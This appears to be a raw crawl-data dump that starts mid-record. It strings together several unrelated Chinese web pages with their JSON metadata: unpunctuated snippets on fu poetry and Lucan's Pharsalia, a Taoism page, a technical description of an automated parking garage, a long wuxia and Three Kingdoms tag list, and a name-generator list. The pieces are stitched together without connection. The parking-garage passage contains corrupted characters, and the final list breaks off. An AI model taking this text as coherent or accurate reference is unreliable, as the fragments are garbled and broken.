梁王墜馬而亡 諡懷 史稱梁懷王 自責 終日而泣 期年 鬱鬱而終 前元十二年卒 政論 論治安策 過秦論 論積貯疏 諫鑄錢疏 賦 弔屈原 賦\n- 賦 斥之 以帝為縱火民賊 暴君獨夫 誦羅馬內戰詩 曰 法薩里亞 其 賦 頌共和 非帝制 上怒 毀禁其文 西元六十五年 皮索黨謀刺尼祿 坎其徒也 事洩 帝震怖 命拷掠之 又賜死 坎誦 法薩里亞 之章 破腕死 壽二十五歲 坎作 賦 十餘篇 今傳 皮索頌 並史歌 法薩里亞 法薩里亞 者 又曰 內戰 賦\n- 樂 舞 本出一系 詩三百有 笙詩 之說 存題而無字 或謂其樂也 先秦 詩經 楚辭 漢 樂府 賦 賦 韻文也 有韻即謂之詩 漢 賦 乃楚辭之裔也 漢初者大類騷體 古詩 古體詩也 非古典詩詞統稱 六朝 駢 賦 山水詩 田園詩 山水 田園亦古詩也 然為變體 以其去風骨而好艷色 永明體 近體鼻祖 以其體制未備而八病過苛 與眾不同 故單列\n- 法薩里亞 又名 內戰 賦 羅馬文士盧坎作 帝凱撒伐龐培黨於法薩里亞 遂以為篇名 其 賦 也 哀羅馬之內亂 痛共和之傾覆 傷自由之未得 刺帝制之昏暴 以小加圖為英傑 今存十章 賦 未成 坎薨\n- 後漢時 冀州轄郡 國九 後漢末 韓馥據冀州 而後袁紹奪之 官渡之戰後 曹操以州牧據之 增數郡 漢班彪嘗作 冀州 賦\n- 春池柳 芳蘭 詠桃 賦 簾 賦 秋日懸清光賜房玄齡 琵琶 詠烏代陳師道 詠飲馬 賦 得殘菊 於太原召侍臣賜宴守歲 詠弓 賦 得早雁出雲鳴 賦 得臨池柳 賦 得臨池竹 三層閣上置音聲 詠小山 賜蕭瑀 遼東山夜臨秋 兩儀殿 賦 柏梁體 餞中書侍郎來濟\n- 歸成都 為富人 蜀人楊得意為狗監 侍上 上讀子虛 賦 喜之 曰 朕獨不得與此人同時哉 得意言 邑人司馬相如為此 賦 上驚 召見相如 請為天子游獵之 賦 上令尚書給筆札 為上林 賦 以奏 天子以為郎 數歲 以通道西南 夷使諭巴蜀 還 拜中郎將建節使 蜀通邛筰 後有人言相如使時受金 免官 復召為郎","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/google-cn.info\/85708\/1\/%E8%B3%A6.html","date":"2021-12-03T05:24:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362589.37\/warc\/CC-MAIN-20211203030522-20211203060522-00042.warc.gz","language":"lzh","language_score":0.4657272696,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4657272696495056, \"cmn_Hani_score\": 0.3699944317340851, \"nan_Hani_score\": 0.1535620540380478}","num_words":330,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.036,"flagged_words_ratio":0.0,"lang_id_score":0.548,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ⓘ 道教\n道教 ,華夏自源宗教也。尊天地,崇萬靈,敬祖先,畏鬼神。其旨從道生萬物,理從黃老莊並集諸家之理。\n春秋戰國,始神仙方術而生方仙道,以道為本,綜陰陽諸家,偽託黃帝篹書,是以生黃學。至漢中後,黃學和於老學,尚老子為祖,黃老為仙,而生黃老道。\n南北朝,歷改而方成今教。\n東漢末之五斗米教、太平教者,蓋今道教之源也。\n- 星經 所載 南嶽衡山是對應星宿二十八宿之軫星 軫星乃主管人間蒼生壽命 傳神農氏曾來此採百藥 因嘗線蟲中毒而仙逝於降真峰上 道教 亦傳 此山乃 道教 洞天福地 有三十六洞天之第三洞天 - - 朱陵洞天 道教 七十二福地之青玉壇福地 光天壇福地 洞靈源福地 也 為仙人遊憩之地 南嶽廟 始建於唐 乃湘最古大之一古剎 司馬承\n- 茅山 地在中國江蘇 處鎮江句容與常州金壇之間 主峰大茅峰 高三七二又五米 古名句曲山 地肺山 三茅山 茅山者 名於 道教 諸洞天福地 列第八洞天 第一福地 上清派脈源於此 以道術聞 茅山宗之所據 漢景帝時有術士修道 承傳二千年 茅山志 載 曾有三宮 九觀 七十茅庵 殿宇房屋三千 道士千人 明清之際\n- 蒜者 植物也 本名大蒜 俗稱蒜頭 為蔥科植物 學名Allium sativum L. 產於帕米爾及天山 中國本無蒜 乃張騫出使西域 始得種入 故一名葫 蒜一文似未成 宜善之 五辛 佛教 大蒜 茖葱 慈葱 蘭蔥 興渠 道教 韭 蒜 蕓薹 胡荽 薤\n- 三淸者 玉淸 上淸 太淸也 此三者 道教 三十六諸天界者至上矣 道家者云 炁者 萬物之本 然其淸者上升爲天 濁者下降爲地 是故此三者身之尊 位之高世間無匹 是凡諸天皆有其主 三淸之主無非 道教 尊神 元始天尊主玉淸 靈寶天尊主上淸 道德天尊主太淸 道德經云 道生一 一生二 二生三 三生萬物 是故有一炁化三清之說 名三淸者 實爲道矣\n- 陰間者 逝者之所之也 北陰酆都大帝所設 中國神話之所云 道教 生於中土 故因之 佛教西播 十八層地獄漸入 故明清以降 地藏王菩薩多見亐斯\n- 汪象旭 - 本名淇 字右子 更字澹漪 号殘蘿道 西陵人 生卒年不詳 約順治間在世 爲書商 崇好 道教 嘗點評 西遊記 並著有 西遊證道 倡 證道 觀 開清代 講道說 之先 而此書係據略堂 釋厄傳 古本作 實之言者 黃周星\n- 華山在陝西省渭南市華陰市南 去西安市百二十公里 處秦 晉 豫三省交匯之地 南接秦嶺 北瞰黃河 扼西北進出中原之門戶 道教 名山也 曰西嶽 屬五嶽 與泰山並稱 亦名曰太華山 倚天拔地 四面如削 有千尺幢 百尺峽 蒼龍嶺 鷂子翻身 長空棧道等 譽 奇險天下第一山\n- 三官大帝 屬 道教 之神 一曰堯舜禹 乃天官 地官 水官 華夏素有郊天 祭地 祭水之儀 儀禮 之 覲禮 曰 祭天燔柴 祭山丘陵昇 祭川沉 祭地瘞 然古祭三官者為帝之權 庶民惟祭祀竈 後漢張陵創正一盟威道 則以祀天地水三官 上三官手書為請禱療病之法道而設教\n- 甲午年八月十六 公曆九月九日 巨儒湯一介卒 年八十七 一介為一代之巨儒 著作良多 嘗撰 郭象與魏晉玄學 魏晉南北朝時期的 道教 中國傳統文化中的儒道釋 儒道釋與內在超越問題 在非有非無之間 湯一介學術文化隨筆 非實非虛集 昔不至今 郭象 當代","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/google-cn.info\/90188\/1\/%E9%81%93%E6%95%99.html","date":"2021-12-03T04:16:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362589.37\/warc\/CC-MAIN-20211203030522-20211203060522-00164.warc.gz","language":"lzh","language_score":0.5623448491,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5623448491096497, \"cmn_Hani_score\": 0.2326279729604721, \"nan_Hani_score\": 0.19011002779006958}","num_words":216,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.215,"stopwords_ratio":0.014,"flagged_words_ratio":0.0,"lang_id_score":0.584,"perplexity_score":500.0,"cluster_detection":1} +{"text":"本存車裝置主要結構。(l)固定結構:即棚架部分。是一固定在地面上的框架結構,可以是金屬結構,也可以是金屬與鋼筋混凝土混合結構。棚架按需要建成多層。每層在中間留出縱向通道,兩側按車輛尺25寸分隔成一個個存車間。(2)運動機構:主要由升降電梯」、送進機和橫向移動機三大部分構成。存取車的運動過程(l)車輛進入預備位置,停放在載車滑臺上。載車滑臺設置有校正位置機構和夾緊機構,使車輛在滑臺上處于正確位置及夾緊狀態。(2)送進機上的橫向移動機將滑臺移進送進機底板上。(3)送進機啟動運行人升降電梯內。(4)升降電梯啟動,升至設定的層高,電梯停止,微動升降機構啟動,電梯準確平層。(5)送進機啟動,沿縱向導軌4運行至設定位置,送進機停止,縱向微調機構啟動,使滑臺精確對準設定的停車間導軌。(6)送進機上的橫向移動機啟動,將滑臺向左或向右移入設定的停車位,車輛放完成。(7)送進機前進或后退,按指令取車或空車退回起始位置。若是取車,程序與L相反、升降運動,升降機構由電機、減速器、導軌、升降架等組成。電梯技術已相當成熟,完全可以實現本項目設定的升降運動?;瑝K推動推槽,從而實現滑臺的橫向侈動?;_進人存車位后,送進機向前或向后運動,滑塊即脫離推槽。\n絲桿螺母傳動機構,送進機上由電機、減速器、齒輪、絲桿、螺母組成傳動機構,縱向運動縱向運動是通過送進機來實現的。橫向運動橫向運動是通過送進機上的橫向移動機構驅動滑臺,使之進入存車位。送進機上的驅動機構可有多種形式,如絲桿螺母、齒輪齒條、鏈傳動、液壓傳動等。這里僅舉較實用的二例,鏈傳動機構,送進機上由電機、減速器、鏈輪鏈條機構,等組成鏈傳動機構鏈條上裝有滑塊,滑臺兩端裝有推槽,滑塊與推槽相互配合。當鏈條帶動滑塊移動時,滑臺兩端推搏與滑塊配合一當電機驅動絲桿轉動時,螺母滑塊直線移動并通過推槽帶動滑臺侈動向左或向右將滑臺送人仔車位取車則運動相反、動力傳輸方式電梯的動力已有成熟的技術本項目關避是解決送進機的力傳輸問題號慮_種形式:(l)可伸縮電纜。送進機上共電線路及拄制線路都采用可伸縮電纜~電纜箱設在電梯內與動力源連接送進機在各層縱向軌道邊行時,拖著電纜隨行、回程時。電纜箱內設轉輪使電纜回繞(2)縱向軌道上敷設供電線路。送進機沒電刷,運行過程中靠電刷與軌道電路的接觸供電。\n聲明: 本網站所發布文章,部分信息來自于互聯網,如有侵權,請聯系刪除(QQ:382666579)\n四川 成都 自貢 攀枝花 瀘州 德陽 綿陽 廣元 遂寧 內江 樂山 南充 眉山 宜賓 廣安 達州 雅安 巴中 資陽 阿壩 甘孜 涼山 錦江 青羊 金牛 武侯 成華 龍泉驛 青白江 新都 溫江 雙流 郫都 金堂 大邑 蒲江 新津 都江堰 彭州 邛崍 崇州 簡陽 自流井 貢井 大安 沿灘 榮縣 富順 東區 西區 仁和 米易 鹽邊 江陽 納溪 龍馬潭 瀘縣 合江 敘永 古藺 旌陽 羅江 中江 廣漢 什邡 綿竹 涪城 游仙 安州 三臺 鹽亭 梓潼 北川 平武 江油 利州 昭化 朝天 旺蒼 青川 劍閣 蒼溪 船山 安居 蓬溪 射洪 大英 東興 威遠 資中 隆昌 沙灣 五通橋 金口河 犍為 井研 夾江 沐川 峨邊 馬邊 峨眉山 順慶 高坪 嘉陵 南部 營山 蓬安 儀隴 西充 閬中 東坡 彭山 仁壽 洪雅 丹棱 青神 翠屏 南溪 敘州 江安 長寧 高縣 珙縣 筠連 興文 屏山 前鋒 岳池 武勝 鄰水 華鎣 通川 達川 宣漢 開江 大竹 渠縣 萬源 雨城 名山 滎經 漢源 石棉 天全 蘆山 寶興 巴州 恩陽 通江 南江 平昌 雁江 安岳 樂至 馬爾康 汶川 理縣 茂縣 松潘 九寨溝 金川 小金 黑水 壤塘 若爾蓋 紅原 康定 瀘定 丹巴 九龍 雅江 道孚 爐霍 新龍 德格 白玉 石渠 色達 理塘 巴塘 鄉城 稻城 得榮 西昌 木里 鹽源 德昌 會理 會東 寧南 普格 布拖 金陽 昭覺 喜德 冕寧 越西 甘洛 美姑 雷波 重慶 萬州 涪陵 渝中 大渡口 江北 沙坪壩 九龍坡 南岸 北碚 綦江 大足 渝北 巴南 黔江 長壽 江津 合川 永川 南川 璧山 銅梁 潼南 榮昌 開州 梁平 武隆 城口 豐都 墊江 忠縣 云陽 奉節 巫山 巫溪 石柱 秀山 酉陽 彭水 云南 昆明 曲靖 玉溪 保山 昭通 麗江 普洱 臨滄 楚雄 紅河 文山 西雙版納 大理 德宏 怒江 迪慶 五華 盤龍 官渡 西山 東川 呈貢 晉寧 富民 宜良 石林 嵩明 祿勸 尋甸 安寧 麒麟 沾益 馬龍 陸良 師宗 羅平 富源 會澤 宣威 紅塔 江川 澄江 通海 華寧 易門 峨山 新平 元江 隆陽 施甸 龍陵 昌寧 騰沖 昭陽 魯甸 巧家 鹽津 大關 永善 綏江 鎮雄 彝良 威信 水富 古城 玉龍 永勝 華坪 寧蒗 思茅 寧洱 墨江 景東 景谷 鎮沅 江城 孟連 瀾滄 西盟 臨翔 鳳慶 云縣 永德 鎮康 雙江 耿馬 滄源 雙柏 牟定 南華 姚安 大姚 永仁 元謀 武定 祿豐 個舊 開遠 蒙自 彌勒 屏邊 建水 石屏 瀘西 元陽 金平 綠春 河口 硯山 西疇 麻栗坡 馬關 丘北 廣南 富寧 景洪 勐海 勐臘 漾濞 祥云 賓川 彌渡 南澗 巍山 永平 云龍 洱源 劍川 鶴慶 瑞麗 芒市 梁河 盈江 隴川 瀘水 福貢 貢山 蘭坪 香格里拉 德欽 維西 貴州 貴陽 六盤水 遵義 安順 畢節 銅仁 黔西南 黔東南 黔南 南明 云巖 花溪 烏當 白云 觀山湖 開陽 息烽 修文 清鎮 鐘山 六枝 水城 盤州 紅花崗 匯川 播州 桐梓 綏陽 正安 道真 務川 鳳岡 湄潭 余慶 習水 赤水 仁懷 西秀 平壩 普定 鎮寧 關嶺 紫云 七星關 大方 黔西 金沙 織金 納雍 威寧 赫章 碧江 萬山 江口 玉屏 石阡 思南 印江 德江 沿河 松桃 興義 興仁 普安 晴隆 貞豐 望謨 冊亨 安龍 凱里 黃平 施秉 三穗 鎮遠 岑鞏 天柱 錦屏 劍河 臺江 黎平 榕江 從江 雷山 麻江 丹寨 都勻 福泉 荔波 貴定 甕安 獨山 平塘 羅甸 長順 龍里 惠水 三都水 甘肅 蘭州 嘉峪關 金昌 白銀 天水 武威 張掖 平涼 酒泉 慶陽 定西 隴南 臨夏 甘南 城關 七里河 西固 紅古 永登 皋蘭 榆中 永昌 白銀 平川 靖遠 會寧 景泰 秦州 麥積 清水 秦安 甘谷 武山 張家川 涼州 民勤 古浪 天祝 甘州 肅南 民樂 臨澤 高臺 山丹 崆峒 涇川 靈臺 崇信 莊浪 靜寧 華亭 肅州 金塔 瓜州 肅北 阿克塞 玉門 敦煌 西峰 慶城 環縣 華池 合水 正寧 寧縣 鎮原 安定 通渭 隴西 渭源 臨洮 漳縣 岷縣 武都 成縣 文縣 宕昌 康縣 西和 禮縣 徽縣 兩當 康樂 永靖 廣河 和政 東鄉 積石山 合作 臨潭 卓尼 舟曲 迭部 瑪曲 碌曲 夏河 陜西 西安 銅川 寶雞 咸陽 渭南 延安 漢中 榆林 安康 商洛 新城 碑林 蓮湖 灞橋 未央 雁塔 閻良 臨潼 長安 高陵 鄠邑 藍田 周至 王益 印臺 耀州 宜君 渭濱 金臺 陳倉 鳳翔 岐山 扶風 眉縣 隴縣 千陽 麟游 鳳縣 太白 秦都 楊陵 渭城 三原 涇陽 乾縣 禮泉 永壽 長武 旬邑 淳化 武功 興平 彬州 臨渭 華州 潼關 大荔 合陽 澄城 蒲城 白水 富平 韓城 華陰 寶塔 安塞 延長 延川 子長 志丹 吳起 甘泉 富縣 洛川 宜川 黃龍 黃陵 漢臺 南鄭 城固 洋縣 西鄉 勉縣 寧強 略陽 鎮巴 留壩 佛坪 榆陽 橫山 府谷 靖邊 定邊 綏德 米脂 佳縣 吳堡 清澗 子洲 神木 漢濱 漢陰 石泉 寧陜 紫陽 嵐皋 平利 鎮坪 旬陽 白河 商州 洛南 丹鳳 商南 山陽 鎮安 柞水 湖北 湖南 廣西","id":"","dump":"CC-MAIN-2023-14","url":"http:\/\/www.getrealimage.com\/xinwen\/wenti\/177.html","date":"2023-03-30T04:34:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296949097.61\/warc\/CC-MAIN-20230330035241-20230330065241-00193.warc.gz","language":"lzh","language_score":0.5527572632,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5527572631835938, \"cmn_Hani_score\": 0.24964646995067596, \"nan_Hani_score\": 0.18503111600875854}","num_words":701,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.272,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.59,"perplexity_score":500.0,"cluster_detection":1} +{"text":"所有標籤\n以下為所有討論主題標籤,你可以選擇喜歡的來看看大家在討論什麼?\n白世鏡 射鵰三部曲 捨身大法 幻魔身法 楊頂天 神龍教 桃谷六仙 游坦之 常伯志 鐵脊蛇矛 沙影二十八劍 徐庶 旋風十八矛 火併蕭十一郎 幻影劍法 南匈奴 司馬師 嵩山派 建寧公主 禿筆翁 石雙英 西蜀地形圖 掩月劍法 張苞 孫曉 化石神功 郭芙 嫁衣神功 逍遙拆 怒劍狂花 司馬昭弒君 周伯通 梵我如一 羅憲 夷陵之戰 桃根仙 晉滅吳之戰 令狐沖 太極七截棍 魯肅 降龍十八掌 郭馬之亂 蔣琬 乾隆 孫堅 魏延 吳國太 鍾會 喬鋒 馬大元 黑鬼爪 溫瑞安 群狐 左手刀法 關索 鄭丰 七傷拳 鬼王鞭 莫大先生 蒼穹十三式 陳到 呂玲綺 童子功十三太保橫練 井中八法 東興之戰 邊城浪子 赤壁之戰 古龍 兵器譜 黃蓉 石中玉 桃花仙 亡神十八掌 楊成協 德川家康 風鈴中的刀聲 小鷹爪功 飛龍五式 周泰 楊修 雙修大法 暴雨梨花釘 張遼 孫權 飛龍大九式 海神 張郃 銀雕 倪匡 四大惡人 朱然 三十六招鳥啄擊法 黃蓋 廖化 吳六奇 張飛 周倉 裘千尺 御盡萬法根源智經 不死七幻 鐵蒺藜骨朵 青龍會 黃權 辟邪劍法 天外流星 破碎虚空 司馬昭 段正淳 呂壹專權 破蓮八著 賭局 曾柔 七殺拳 陳家洛 覆雨翻雲 大唐雙龍傳 金錢幫 賈南風 布衣神相 常赫志 星际浪子 胡斐 裘千仞 無塵道長 金庸 郭襄 第六天魔王 玄鐵劍法 就地十八滾 聖火令 彈指神通 風萍掌 獨孤九劍 任我行 尉遲敬德 衡山派 太虛錯手 霍青桐 丁春秋 奇功絕藝榜 袁承志 九轉無相神功 越女劍 公孫綠萼 風清揚 金絲綿掌 歸藏鞭 大拍手 于萬亭 九月鷹飛 天魔心法 絕代雙驕 雌雄雙股劍 桃幹仙 華陀針 蛤蟆功 馬超 韋春花 君子劍 郭淮 多情劍客無情劍 胡昭 龍木島主 絕不低頭 峨嵋派 大人物 天涯明月刀 挾刀揉手 九陽真經 一指頭禪 青釭劍 霍都 回轉斧法三十式 張無忌 隆中對 達摩手 藍鳳凰 博望坡之戰 文醜 鴛鴦腿 韋一笑 官渡之戰 達爾巴 梁羽生 陸抗 魏滅蜀之戰 扭轉乾坤殺手劍 段譽 打狗棒法 董卓 水雲袖法 倚天劍 文泰來 曹叡 東洋神風刀法 龐統 長河正氣 神刀斬 情人箭 飛狐外傳 天山童姥 諸葛恪 永安之戰 殭屍拳 嫁衣神功 丁不三 仇國論 鷹變十三式 林朝英 韓當 炎元真氣 鬼火十三拍 驚魂六記 曹洪 金丹大法 下邳之戰 張召重 大喬 洪七公 湘妃劍 吳質 夏侯淵 關羽 玉女素心劍法 五帝鐧 阿九 羅漢伏虎拳 倉亭之戰 三少爺的劍 黃藥師 金蛇劍 東方不敗 孫皓 劉備稱帝 大意失荊州 梅花鉤 黃天大法 慕容復 滿天花雨 不碎金剛 林遠圖 九難 陸小鳳傳奇 萬物波動心法 狼牙 尋秦記 石亭之戰 劍罡同流 空城計 屯田制 孫權建國 曹睿 漢中之戰 仙門劍訣 關平 汪劍通 滅絕師太 夢姑 丁璫 曹純 蔣濟 袁紹 屠龍刀 挾天子 彩環曲 丁奉 失魂引 丈八蛇矛 白自在 飛鷹十三刺 魅影劍法 道心種魔大法 司馬懿 荀彧 丁不四 江南七怪 絕代雙驕角色列表 孟獲 碎金剛乘 蕭十一郎 韓小瑩 碧落紅塵 益州之戰 鳳天南 諸葛亮南征 一串鞭 柳絮劍法 鳩摩智 趙半山 沐劍屏 楚留香傳奇 英雄無淚 折花百式 燎原百擊 封天閉地 劍毒梅香 武當掌法 浣花洗劍錄 紫微軟劍 淑女劍 九品中正制 青城派 董卓討伐戰 白玉老虎 上官鼎 蘇荃 謝遜 田伯光 蔣四根 絕情谷 石破天 街亭 馬皇后 關銀屏 毛玠 李廣 蕭遠山 天地明環 華山派 尉遲恭 白阿繡 俠客行 方天畫戟 張春華 鄧芝 六脈神劍 黃皓專權 沖虛道長 散手八撲 張角 李典 變天擊地大法 彼岸劍訣 閔柔 趙雲 西陵之戰 大地飛鷹 無相神功 四大名捕 流星蝴蝶劍 馬謖 華山派 黑白子 覆雨劍法 鴛鴦刀 合淝之戰 賈詡 大旗英雄傳 魯有腳 九陽神功 荊州 伏虎神拳 銀龍手 奼女心法 玉女媚術 界橋之戰 換日大法 金剛門 林平之 華山論劍 慕容博 趙敏 裂馬槍 貂蟬 費禕 蝴蝶穿花七十二式 雙兒 孫策平江東之戰 潼關之戰 雪山飛狐 七殺手 十二都天神功 穿雲劍法 摘心手 黃忠 三尸腦神丹 心佛掌 耶律齊 曹仁 不死印法 陳近南 如意八打 瀟湘子 血鸚鵡 寧中則 迎風一刀斬 阿朱 歸魂十八爪 殷離 周瑜 龍門鏢局 七流星 橫煉罡 貝海石 名劍風流 神州奇俠 天魔手七十二式 姑蘇慕容 紅花會 典韋 星彩 壽春馳援 蕭摩訶 飛天狐狸 白萬劍 古龍作品 八賢王 楚留香新傳之新月傳奇 全真七子 五絕神功 神鵰俠侶 龜息功 崑崙派 孫尚香 歡樂英雄 荀攸 石亭之戰 沉沙劍法 笮融 北冥神功 劉備 七星龍王 馬岱 空明拳 太史慈 桃葉仙 明玉功 少林派 凌統 章進 刀劍雙殺七七四十九式 玄鐵重劍 張三丰 曹操討伐袁術之戰 菊花的刺 紫血大法 滿地開花八十—式 諸葛瞻 徐盛 楚留香新傳 齊桓公 長平公主 血戰十式 凌波微步 書劍恩仇錄 斷絕神功 九陰真經 移玉大法 玩命拳 王平 飛燕七式 鄧艾 銅錘 玄氣大法 甄姬 衛春華 周芷若 鰲拜 趙志敬 天魔大法 王重陽 呂布爭徐州 徐榮 花間十二支 五毒神功 袖裡乾坤 一扇十八搖 天心蓮環 清風十三式 倚天屠龍記 流星鎚 吳應熊 蒼穹神劍 李秋水 左慈 一燈大師 龍吟曲 朱子柳 公孫止 崆峒派 羊祜 王元姬 楚留香新傳之蝙蝠傳奇 東興之戰 五毒教 藏密智能書 吳三桂 金輪法王 魏晉玄學 郭靖 歐陽克 易京之戰 日月當空 神君別傳 宗預 飄香劍雨 合淝新城之戰 泰山派 衛青 魅影身法 塌上策 梅花鉤 夏姬 流星鎚 呂蒙 呂后 燕子三抄水 楊康 楚留香新傳之借屍還魂 戚芳 九轉還童 交阯之亂 丹心術 白馬嘯西風 笑傲江湖 摩尼教 定靜師太 徐天宏 康熙 慈航劍典 雲行雨飄 夷陵之戰 曹真 五虎斷門刀 石田三成 郭嘉 翔鷹劍法 掃地僧 雙尖軟矛 李元霸 法正 阿珂 誰來跟我乾杯 法顯 張翼 阿青 魏滅蜀之戰 靈犀一指 水笙 碧血劍 夏侯惇 完顏洪烈 五嶽劍派 決戰前後 太清元功 壽春三叛 孫皓暴政 瑛姑 凝真九變 冰玄勁 日月麗天大法 白狼山之戰 迷蹤七變 岳靈珊 尼摩星 伏魔劍法 程英 楊過 楊儀 披風杖法 神蛛凌空銀絲渡虛 阿紫 黃鍾公 徐晃 鬼魅潛蹤 曹操攻徐州之戰 刑遁術 起風了 姜維 武林外史 小昭 日月神教 金蛇郎君 劉表 天外飛仙 謝煙客 蔡文姬 化骨綿掌 南皮之戰 枯禪玄功 枯木神功 魅變術 樂進 九玄大法 武當派 牛郎一百零八棍 左冷禪 逍遙訣 小龍女 心硯 武當七俠 建安文學 洪承疇 祝融 無想奼女大法 夏侯霸 種玉大法 紫霞神功 岳不羣 曹爽專權 月異星邪 馮錫范 七种武器 陽頂天 鐵騎快劍 譙周 古墓派 合淝之戰 九韶定音劍 枯榮大師 戰神圖錄 白骨爪 木婉清 飛刀,又見飛刀 許褚 流雲飛袖 瘋魔上天下地一百零七撃 丞相,起風了 奪命十三劍 蝶雙飛 霍去病 軟蝟甲 桃花島 空綁術 韋小寶 破精自絕大法 太虛勁 定逸師太 魔佛十式 合肥之戰 郭解 遊俠錄 曹丕伐吳 甘寧 天一掌 文鴦 樊城之戰 諸葛亮北伐 玉女劍法 余魚同 陳宮 姜維北伐 織女劍法 伊達政宗 無想十法 諸葛亮 程普 儀琳 梅超風 呂母 夏侯嬰 死眷術 余滄海 李莫愁 陸無雙 賈充 方證大師 彭長老 孫策 臥龍 七禽身法 曹休 奕劍術 吳起 海大富 鳥渡術 李牧 十住大乘功 先天功 天魅凝陰 七十二路分筋錯骨手 移花接玉 滅神掌 劍氣書香 史火龍 曹丕篡漢 天魔擊三大散招 大元丹法 興勢之戰 歸辛樹 護花鈴 內家橫練 硃砂掌 高平陵之變 桃枝仙 臥龍生 龐德 鮑三娘 方怡 降龍伏虎羅漢拳 穆念慈 江夏戰神 福康安 鍾靈 關興 天龍八部 燕子雙飛 明珠 幽灵山庄 劍花煙雨江南 二宮之爭 青龍偃月刀 傻姑 黃祖 武夷派 的盧 豔陽刃法 紫氣天羅 蒼穹十三劍 丞相 大圓滿杖法 范遙 碧海潮生曲 嵩山十三太保 冷月寶刀 董允 丁典 伏養氣功 黯然銷魂掌 大手印 丹青生 菩提心功 鹿鼎記 先天氣功 奪命簪 地煞拳 石清 刀白鳳 鍾繇 無崖子 一休 歐陽鋒 虛竹 任盈盈 少林神拳 曹操 血海飄香 程靈素 金針開穴之法 狄雲 大開碑手 桃實仙 滿寵 大武俠時代 劉禪 急風十三刺 飛鶯飛鷹 雙手互搏 涼州軍劫天子 全真教 索額圖 炎陽奇功 武田信玄 于禁 荊楚爭雄記 呂布 狂沙刀法 武三通 五行劍法 烏金血劍 尹克西 駱冰 蕭逸 夏青青 王異 段正明 曹操迎天子 定閒師太 張三李四 圓月彎刀 鎖子縮骨功 逍遙派 飛伏一百零八槍 天鷹教 碧血洗銀槍 天地明環 殘金缺玉 蔣幹 葵花寶典 魔心連環 恆山派 丐幫 王語嫣 孤星傳 霓裳仙舞 逆水寒 男人見不得 定世鞭 青松劍譜 星宿派 馬忠 子貴母死 邊荒傳說 諸葛誕 擒拿截脈法 劍客行 小喬 楊逍 鍾會之亂 劍玄錄 康敏 陸遜 九字真言手印 吸星大法 玄慈 曹丕 不戒和尚 成昆 韋小寶 少林三渡 五虎斷門刀 竹節鞭 黃皓 雷霆刀法 連城訣 勞德諾 練師 連體心法 儀琳 無念禪功 袁紫衣 月英 張大春","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/www.herostory.tw\/alltags?from=hottags","date":"2021-06-19T18:43:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487649688.44\/warc\/CC-MAIN-20210619172612-20210619202612-00618.warc.gz","language":"lzh","language_score":0.5900560617,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5900560617446899, \"nan_Hani_score\": 0.2526969909667969, \"cmn_Hani_score\": 0.12174943834543228, \"yue_Hani_score\": 0.032960355281829834}","num_words":825,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.593,"perplexity_score":500.0,"cluster_detection":1} +{"text":"在线起名\n「在线起名」姓名,蕴涵了人的精、气、神,传达着天地之玄机。姓名分析综合了八字和姓名五格、三才配置、81数理来解析姓名。\n秦婵 秦娥 秦芳 秦芬 秦红 秦花 秦洁 秦婧 秦娟 秦莉 秦丽 秦琳 秦玲 秦梅 秦美 秦娜 秦裴 秦萍 秦倩 秦琴 秦琼 秦冉 秦蓉 秦茹 秦婷 秦文 秦霞 秦秀 秦雪 秦娅 秦嫣 秦妍 秦艳 秦燕 秦瑶 秦怡 秦英 秦瑛 秦莹 秦颖 秦玉 秦媛 秦悦 秦阿红 秦阿梅 秦艾琳 秦艾怡 秦爱芳 秦爱红 秦爱花 秦爱莉 秦爱丽 秦爱琳 秦爱玲 秦爱梅 秦爱妹 秦爱萍 秦爱霞 秦爱怡 秦爱媛 秦嫒琳 秦瑷文 秦安红 秦安娜 秦安文 秦安艳 秦桉文 秦傲雪 秦奥文 秦白娥 秦佰艳 秦佰燕 秦柏洁 秦邦文 秦邦玉 秦帮文 秦榜丽 秦宝红 秦宝琼 秦宝文 秦宝霞 秦宝艳 秦宝英 秦宝玉 秦贝玲 秦焙冉 秦本玲 秦碧玲 秦碧霞 秦碧雪 秦碧妍 秦碧瑶 秦碧英 秦碧玉 秦壁妍 秦变霞 秦宾文 秦宾霞 秦彬洁 秦彬文 秦彬嫣 秦彬燕 秦斌艳 秦斌玉 秦滨文 秦冰洁 秦冰莉 秦冰玲 秦冰蓉 秦冰茹 秦冰婷 秦冰雪 秦冰妍 秦冰燕 秦冰瑶 秦冰莹 秦冰玉 秦菠霞 秦帛婵 秦博冉 秦博文 秦卜婷 秦步琴 秦才英 秦才玉 秦彩芳 秦彩芬 秦彩红 秦彩娟 秦彩丽 秦彩萍 秦彩琼 秦彩婷 秦彩霞 秦彩燕 秦彩玉 秦粲玉 秦沧文 秦曹婷 秦草婷 秦婵娟 秦蝉玉 秦昌红 秦昌蓉 秦昌玉 秦昌悦 秦长芳 秦长红 秦长艳 秦长英 秦常丽 秦嫦丽 秦嫦悦 秦超丽 秦超琳 秦朝红 秦朝霞 秦朝艳 秦朝英 秦尘悦 秦晨芳 秦晨莉 秦晨丽 秦晨玲 秦晨霞 秦丞文 秦成芳 秦成梅 秦成美 秦成霞 秦承娟 秦承文 秦承怡 秦承玉 秦诚文 秦崇娟 秦初梅 秦楚秀 秦楚怡 